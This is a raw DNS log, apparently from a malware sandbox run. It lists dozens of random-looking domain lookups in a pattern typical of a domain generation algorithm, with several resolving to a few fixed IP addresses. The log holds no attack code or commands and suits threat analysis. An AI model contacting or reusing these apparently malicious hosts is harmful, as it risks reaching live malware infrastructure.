Jan 5, 2025 10:48:26.439232111 CET	1.1.1.1	192.168.2.4	0x4bed	Name error (3)	cacewsiqbiv.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.572520018 CET	1.1.1.1	192.168.2.4	0x8cfb	No error (0)	gommacaqfdcg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:27.480818033 CET	1.1.1.1	192.168.2.4	0xffc4	Name error (3)	ykycgmq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:27.518213987 CET	1.1.1.1	192.168.2.4	0x738b	Name error (3)	ykycgmq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:27.651798964 CET	1.1.1.1	192.168.2.4	0xb834	No error (0)	iywejakceat.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:28.362109900 CET	1.1.1.1	192.168.2.4	0xe2c3	Name error (3)	icgxiaiilmc.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:28.499459982 CET	1.1.1.1	192.168.2.4	0xe7cf	Name error (3)	icgxiaiilmc.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:28.628412008 CET	1.1.1.1	192.168.2.4	0xac87	No error (0)	towoeqqzokbsj.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:29.256484985 CET	1.1.1.1	192.168.2.4	0xfc8e	No error (0)	uokpfkc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:30.079551935 CET	1.1.1.1	192.168.2.4	0x8c2e	Name error (3)	tsqemjsjkmz.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:30.110606909 CET	1.1.1.1	192.168.2.4	0xd262	Name error (3)	tsqemjsjkmz.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:30.319267988 CET	1.1.1.1	192.168.2.4	0xe5b3	Name error (3)	ykqfmmg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.111270905 CET	1.1.1.1	192.168.2.4	0x6acd	Name error (3)	ykqfmmg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.235538960 CET	1.1.1.1	192.168.2.4	0x51c9	Name error (3)	eoholrark.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.246809006 CET	1.1.1.1	192.168.2.4	0x8ed0	Name error (3)	eoholrark.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.364864111 CET	1.1.1.1	192.168.2.4	0xa4ea	Name error (3)	ynaucmukkszgjz.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.376652956 CET	1.1.1.1	192.168.2.4	0x2408	Name error (3)	ynaucmukkszgjz.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.593852043 CET	1.1.1.1	192.168.2.4	0x72ff	Name error (3)	gvqle.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.717518091 CET	1.1.1.1	192.168.2.4	0x3c03	Name error (3)	gvqle.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.838987112 CET	1.1.1.1	192.168.2.4	0x2941	No error (0)	sgojwgigbmm.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:32.760792971 CET	1.1.1.1	192.168.2.4	0x47	Name error (3)	ubielmdhiea.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:32.783091068 CET	1.1.1.1	192.168.2.4	0xdf54	Name error (3)	ubielmdhiea.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:32.906105042 CET	1.1.1.1	192.168.2.4	0xac0f	Name error (3)	eqhuyuws.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:32.918224096 CET	1.1.1.1	192.168.2.4	0xe902	Name error (3)	eqhuyuws.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:33.041759014 CET	1.1.1.1	192.168.2.4	0xb310	No error (0)	ucldeorkcahaq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:33.641120911 CET	1.1.1.1	192.168.2.4	0xa565	No error (0)	hxyicbwo.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.447966099 CET	1.1.1.1	192.168.2.4	0xb047	Name error (3)	sqcbew.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.653165102 CET	1.1.1.1	192.168.2.4	0xdeb7	Name error (3)	sqcbew.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.766479969 CET	1.1.1.1	192.168.2.4	0x80a0	Name error (3)	kulna.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.776499987 CET	1.1.1.1	192.168.2.4	0xdaae	Name error (3)	kulna.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.906644106 CET	1.1.1.1	192.168.2.4	0x2e05	Name error (3)	ycbwawsnkag.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.969104052 CET	1.1.1.1	192.168.2.4	0xc17a	Name error (3)	ycbwawsnkag.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.120012045 CET	1.1.1.1	192.168.2.4	0x987	Name error (3)	ysqtx.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.422364950 CET	1.1.1.1	192.168.2.4	0x5aa9	Name error (3)	ysqtx.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.573136091 CET	1.1.1.1	192.168.2.4	0x1a16	Name error (3)	yesjo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.632683992 CET	1.1.1.1	192.168.2.4	0xcdd6	Name error (3)	yesjo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.868638039 CET	1.1.1.1	192.168.2.4	0xe727	Name error (3)	bomxaug.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.895020008 CET	1.1.1.1	192.168.2.4	0x859f	Name error (3)	bomxaug.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:36.042732954 CET	1.1.1.1	192.168.2.4	0xb311	Name error (3)	crhqdmkjqac.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:36.307486057 CET	1.1.1.1	192.168.2.4	0x5b8c	Name error (3)	crhqdmkjqac.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:36.450505018 CET	1.1.1.1	192.168.2.4	0x3f8d	No error (0)	yumowdaknpsouf.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.316345930 CET	1.1.1.1	192.168.2.4	0x7c63	Name error (3)	geqtkjeem.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.378616095 CET	1.1.1.1	192.168.2.4	0xb42a	Name error (3)	geqtkjeem.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.500397921 CET	1.1.1.1	192.168.2.4	0x868e	Name error (3)	wkccmflfymv.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.511740923 CET	1.1.1.1	192.168.2.4	0x9b38	Name error (3)	wkccmflfymv.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.626677990 CET	1.1.1.1	192.168.2.4	0xadfe	Name error (3)	ogdzjlrqlov.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.638607025 CET	1.1.1.1	192.168.2.4	0x482b	Name error (3)	ogdzjlrqlov.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:38.926685095 CET	1.1.1.1	192.168.2.4	0xd577	Name error (3)	yggoofcgkam.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:38.929124117 CET	1.1.1.1	192.168.2.4	0xd577	Name error (3)	yggoofcgkam.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.026459932 CET	1.1.1.1	192.168.2.4	0x241d	Name error (3)	yggoofcgkam.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.191659927 CET	1.1.1.1	192.168.2.4	0x4f4a	Name error (3)	qwosc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.276268959 CET	1.1.1.1	192.168.2.4	0xf76	Name error (3)	qwosc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.434303999 CET	1.1.1.1	192.168.2.4	0x9a92	Name error (3)	yyggkyhx.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.518973112 CET	1.1.1.1	192.168.2.4	0x8afc	Name error (3)	yyggkyhx.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.654799938 CET	1.1.1.1	192.168.2.4	0xf0ad	Name error (3)	amsiiizuhgb.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.675695896 CET	1.1.1.1	192.168.2.4	0x9e2d	Name error (3)	amsiiizuhgb.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.807467937 CET	1.1.1.1	192.168.2.4	0x2f76	No error (0)	wapuqgaoumwzq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:40.406303883 CET	1.1.1.1	192.168.2.4	0x1745	Name error (3)	qjarkqakyeq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:40.435694933 CET	1.1.1.1	192.168.2.4	0x2336	Name error (3)	qjarkqakyeq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:40.550647020 CET	1.1.1.1	192.168.2.4	0x62e4	No error (0)	kunlovnoc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.157182932 CET	1.1.1.1	192.168.2.4	0x9083	Name error (3)	iripzvqcf.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.205544949 CET	1.1.1.1	192.168.2.4	0x7e32	Name error (3)	iripzvqcf.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.339104891 CET	1.1.1.1	192.168.2.4	0xe4d1	Name error (3)	oqryiicdajaf.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.400516987 CET	1.1.1.1	192.168.2.4	0xf9e6	Name error (3)	oqryiicdajaf.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.635725021 CET	1.1.1.1	192.168.2.4	0xfc8f	Name error (3)	tkarbo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.662635088 CET	1.1.1.1	192.168.2.4	0x9fce	Name error (3)	tkarbo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.791764021 CET	1.1.1.1	192.168.2.4	0xa88c	Name error (3)	kdywwgpev.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.806087017 CET	1.1.1.1	192.168.2.4	0xfeb9	Name error (3)	kdywwgpev.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.933360100 CET	1.1.1.1	192.168.2.4	0x1259	No error (0)	ojomdccmi.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:42.539175987 CET	1.1.1.1	192.168.2.4	0x15fe	No error (0)	fwwclcmvsyatw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:43.284048080 CET	1.1.1.1	192.168.2.4	0xdc07	Name error (3)	muqyumuvjgj.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:43.433176994 CET	1.1.1.1	192.168.2.4	0x1074	Name error (3)	muqyumuvjgj.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:44.318361044 CET	1.1.1.1	192.168.2.4	0x4f6b	Name error (3)	nfvmeu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:44.412594080 CET	1.1.1.1	192.168.2.4	0x580b	Name error (3)	nfvmeu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:44.782736063 CET	1.1.1.1	192.168.2.4	0xc6ed	Name error (3)	sxyqthmocobcz.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:45.049034119 CET	1.1.1.1	192.168.2.4	0x2508	Name error (3)	sxyqthmocobcz.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:45.172792912 CET	1.1.1.1	192.168.2.4	0x5c9	Name error (3)	ayspwmm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:45.201302052 CET	1.1.1.1	192.168.2.4	0xe387	Name error (3)	ayspwmm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.088227987 CET	1.1.1.1	192.168.2.4	0xb4fb	Name error (3)	negehwwvr.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.276536942 CET	1.1.1.1	192.168.2.4	0xd5db	Name error (3)	negehwwvr.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.415210962 CET	1.1.1.1	192.168.2.4	0xbc69	Name error (3)	bsymstebt.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.426490068 CET	1.1.1.1	192.168.2.4	0x2e95	Name error (3)	bsymstebt.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.574069977 CET	1.1.1.1	192.168.2.4	0x1eaa	Name error (3)	bpezcgcamge.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.583533049 CET	1.1.1.1	192.168.2.4	0x1e8e	Name error (3)	bpezcgcamge.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.475159883 CET	1.1.1.1	192.168.2.4	0xea9b	Name error (3)	qxbykkbwc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.664011002 CET	1.1.1.1	192.168.2.4	0x90b7	Name error (3)	qxbykkbwc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.781672001 CET	1.1.1.1	192.168.2.4	0x11ee	Name error (3)	gskxhonuuig.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.793323994 CET	1.1.1.1	192.168.2.4	0xe611	Name error (3)	gskxhonuuig.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.922401905 CET	1.1.1.1	192.168.2.4	0xe64f	Name error (3)	nukraurmv.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.028835058 CET	1.1.1.1	192.168.2.4	0x41be	Name error (3)	nukraurmv.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.150722980 CET	1.1.1.1	192.168.2.4	0x6cd4	No error (0)	vjailzh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.766496897 CET	1.1.1.1	192.168.2.4	0xb27a	Name error (3)	iiesqoydgho.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.783111095 CET	1.1.1.1	192.168.2.4	0x3b4	Name error (3)	iiesqoydgho.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.906970978 CET	1.1.1.1	192.168.2.4	0x3534	Name error (3)	lhvwqsuwpirwv.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.946171045 CET	1.1.1.1	192.168.2.4	0x895d	Name error (3)	lhvwqsuwpirwv.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:49.329760075 CET	1.1.1.1	192.168.2.4	0x72cd	Name error (3)	iuqipumkqoy.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:50.116255999 CET	1.1.1.1	192.168.2.4	0xeb35	Name error (3)	iuqipumkqoy.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:50.234581947 CET	1.1.1.1	192.168.2.4	0x5c34	Name error (3)	ocyseln.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:50.245650053 CET	1.1.1.1	192.168.2.4	0x8e6b	Name error (3)	ocyseln.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:51.132148027 CET	1.1.1.1	192.168.2.4	0xb9ea	Name error (3)	yyzqses.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:51.916589022 CET	1.1.1.1	192.168.2.4	0xe096	Name error (3)	yyzqses.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.031636000 CET	1.1.1.1	192.168.2.4	0x9d46	Name error (3)	pyqjwzcg.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.043524981 CET	1.1.1.1	192.168.2.4	0x3e6d	Name error (3)	pyqjwzcg.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.192203999 CET	1.1.1.1	192.168.2.4	0x5bf8	Name error (3)	auvneyswvn.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.212378979 CET	1.1.1.1	192.168.2.4	0x4903	Name error (3)	auvneyswvn.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.380649090 CET	1.1.1.1	192.168.2.4	0xc70	Name error (3)	mufqbisjdi.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.445730925 CET	1.1.1.1	192.168.2.4	0xd66b	Name error (3)	mufqbisjdi.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.563610077 CET	1.1.1.1	192.168.2.4	0x6f07	No error (0)	gieea.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.199141979 CET	1.1.1.1	192.168.2.4	0x4d74	Name error (3)	gkgejebqwmtqg.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.259975910 CET	1.1.1.1	192.168.2.4	0x29a2	Name error (3)	gkgejebqwmtqg.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.399256945 CET	1.1.1.1	192.168.2.4	0xdfad	Name error (3)	ioblqwvkm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.439785957 CET	1.1.1.1	192.168.2.4	0x8119	Name error (3)	ioblqwvkm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.564347029 CET	1.1.1.1	192.168.2.4	0x3494	Name error (3)	cigmuci.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.609443903 CET	1.1.1.1	192.168.2.4	0xb840	Name error (3)	cigmuci.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.820962906 CET	1.1.1.1	192.168.2.4	0xfe95	Name error (3)	gymuuwiy.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.035249949 CET	1.1.1.1	192.168.2.4	0xd990	Name error (3)	gymuuwiy.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.428066015 CET	1.1.1.1	192.168.2.4	0xc2f1	Name error (3)	sqmezocko.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.528702974 CET	1.1.1.1	192.168.2.4	0x10b2	Name error (3)	sqmezocko.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.649209023 CET	1.1.1.1	192.168.2.4	0xe5fd	Name error (3)	sfessoxrcqrpo.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.736179113 CET	1.1.1.1	192.168.2.4	0xcca3	Name error (3)	sfessoxrcqrpo.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.868451118 CET	1.1.1.1	192.168.2.4	0x4e03	Name error (3)	rammwsc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.882584095 CET	1.1.1.1	192.168.2.4	0xc60f	Name error (3)	rammwsc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:55.095582008 CET	1.1.1.1	192.168.2.4	0x8976	Name error (3)	nghxwc.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:55.228205919 CET	1.1.1.1	192.168.2.4	0xb37	Name error (3)	nghxwc.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:56.940119982 CET	1.1.1.1	192.168.2.4	0x1a2c	Name error (3)	wsuqlgdemodac.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:56.940135956 CET	1.1.1.1	192.168.2.4	0x1a2c	Name error (3)	wsuqlgdemodac.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:56.949958086 CET	1.1.1.1	192.168.2.4	0x8cd	Name error (3)	wsuqlgdemodac.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:57.062984943 CET	1.1.1.1	192.168.2.4	0x4edc	No error (0)	yggrsmwoaoge.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:57.323751926 CET	1.1.1.1	192.168.2.4	0x2130	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:48:57.323751926 CET	1.1.1.1	192.168.2.4	0x2130	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:57.938543081 CET	1.1.1.1	192.168.2.4	0xc731	Name error (3)	sssagqpgq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:57.968911886 CET	1.1.1.1	192.168.2.4	0x3320	Name error (3)	sssagqpgq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.109525919 CET	1.1.1.1	192.168.2.4	0x5f9	Name error (3)	dwmbb.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.136599064 CET	1.1.1.1	192.168.2.4	0xef0e	Name error (3)	dwmbb.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.260392904 CET	1.1.1.1	192.168.2.4	0xe64e	Name error (3)	uoqeyvc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.722517967 CET	1.1.1.1	192.168.2.4	0xa42e	Name error (3)	uoqeyvc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.844722033 CET	1.1.1.1	192.168.2.4	0xcfe8	No error (0)	oocwcmmvqecne.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:59.453371048 CET	1.1.1.1	192.168.2.4	0x9fc7	Name error (3)	wauvbchrfkw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:59.482512951 CET	1.1.1.1	192.168.2.4	0x9454	Name error (3)	wauvbchrfkw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:59.853450060 CET	1.1.1.1	192.168.2.4	0xa286	Name error (3)	emallqtafbo.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:00.707612038 CET	1.1.1.1	192.168.2.4	0x776d	Name error (3)	emallqtafbo.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:01.719044924 CET	1.1.1.1	192.168.2.4	0x841a	Name error (3)	ugccalznre.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:01.848279953 CET	1.1.1.1	192.168.2.4	0xf5e3	Name error (3)	ugccalznre.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:01.969520092 CET	1.1.1.1	192.168.2.4	0x7e5e	Name error (3)	gsztaq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:01.980474949 CET	1.1.1.1	192.168.2.4	0xc0af	Name error (3)	gsztaq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.157351017 CET	1.1.1.1	192.168.2.4	0x3323	Name error (3)	aaywjhsma.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.195877075 CET	1.1.1.1	192.168.2.4	0x5ea2	Name error (3)	aaywjhsma.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.397749901 CET	1.1.1.1	192.168.2.4	0xf3ac	Name error (3)	fzmoqmhyzgwby.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.673583031 CET	1.1.1.1	192.168.2.4	0xf0dd	Name error (3)	fzmoqmhyzgwby.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.797888994 CET	1.1.1.1	192.168.2.4	0x2f7	No error (0)	dqgotyf.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.430452108 CET	1.1.1.1	192.168.2.4	0x8552	Name error (3)	uyasdri.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.528175116 CET	1.1.1.1	192.168.2.4	0x49a0	Name error (3)	uyasdri.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.644505024 CET	1.1.1.1	192.168.2.4	0x9e29	Name error (3)	fxheyuelabwk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.655685902 CET	1.1.1.1	192.168.2.4	0x2d24	Name error (3)	fxheyuelabwk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.869942904 CET	1.1.1.1	192.168.2.4	0xf0dd	No error (0)	veylcquelsxie.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:04.308559895 CET	1.1.1.1	192.168.2.4	0xf382	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:04.308559895 CET	1.1.1.1	192.168.2.4	0xf382	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:04.899327040 CET	1.1.1.1	192.168.2.4	0x57be	Name error (3)	uwcoo.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:04.979862928 CET	1.1.1.1	192.168.2.4	0x44c1	Name error (3)	uwcoo.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.100533962 CET	1.1.1.1	192.168.2.4	0x6cf2	No error (0)	qendemo.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.752505064 CET	1.1.1.1	192.168.2.4	0x97c0	Name error (3)	digeyxe.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.817992926 CET	1.1.1.1	192.168.2.4	0x5270	Name error (3)	digeyxe.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.954348087 CET	1.1.1.1	192.168.2.4	0x1783	Name error (3)	muexcwzji.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.996112108 CET	1.1.1.1	192.168.2.4	0xa701	Name error (3)	muexcwzji.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:06.153779984 CET	1.1.1.1	192.168.2.4	0xd6d	Name error (3)	uibqkkfaiswo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:06.228364944 CET	1.1.1.1	192.168.2.4	0xb2ab	Name error (3)	uibqkkfaiswo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:06.414484978 CET	1.1.1.1	192.168.2.4	0x35ee	Name error (3)	logcwiabk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:06.686391115 CET	1.1.1.1	192.168.2.4	0x7686	Name error (3)	logcwiabk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.037225008 CET	1.1.1.1	192.168.2.4	0x7ced	Name error (3)	nwkeepyiisvw.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.071019888 CET	1.1.1.1	192.168.2.4	0xc35a	Name error (3)	nwkeepyiisvw.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.450464010 CET	1.1.1.1	192.168.2.4	0x3f34	Name error (3)	hiauuooiaeam.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.719161987 CET	1.1.1.1	192.168.2.4	0xef99	Name error (3)	hiauuooiaeam.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.907707930 CET	1.1.1.1	192.168.2.4	0x320e	Name error (3)	dfypq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.934232950 CET	1.1.1.1	192.168.2.4	0x22d8	Name error (3)	dfypq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.084667921 CET	1.1.1.1	192.168.2.4	0xfc8	Name error (3)	fwdvoccscqsdn.st	none	none	A (IP address)	IN (0x0001)	false
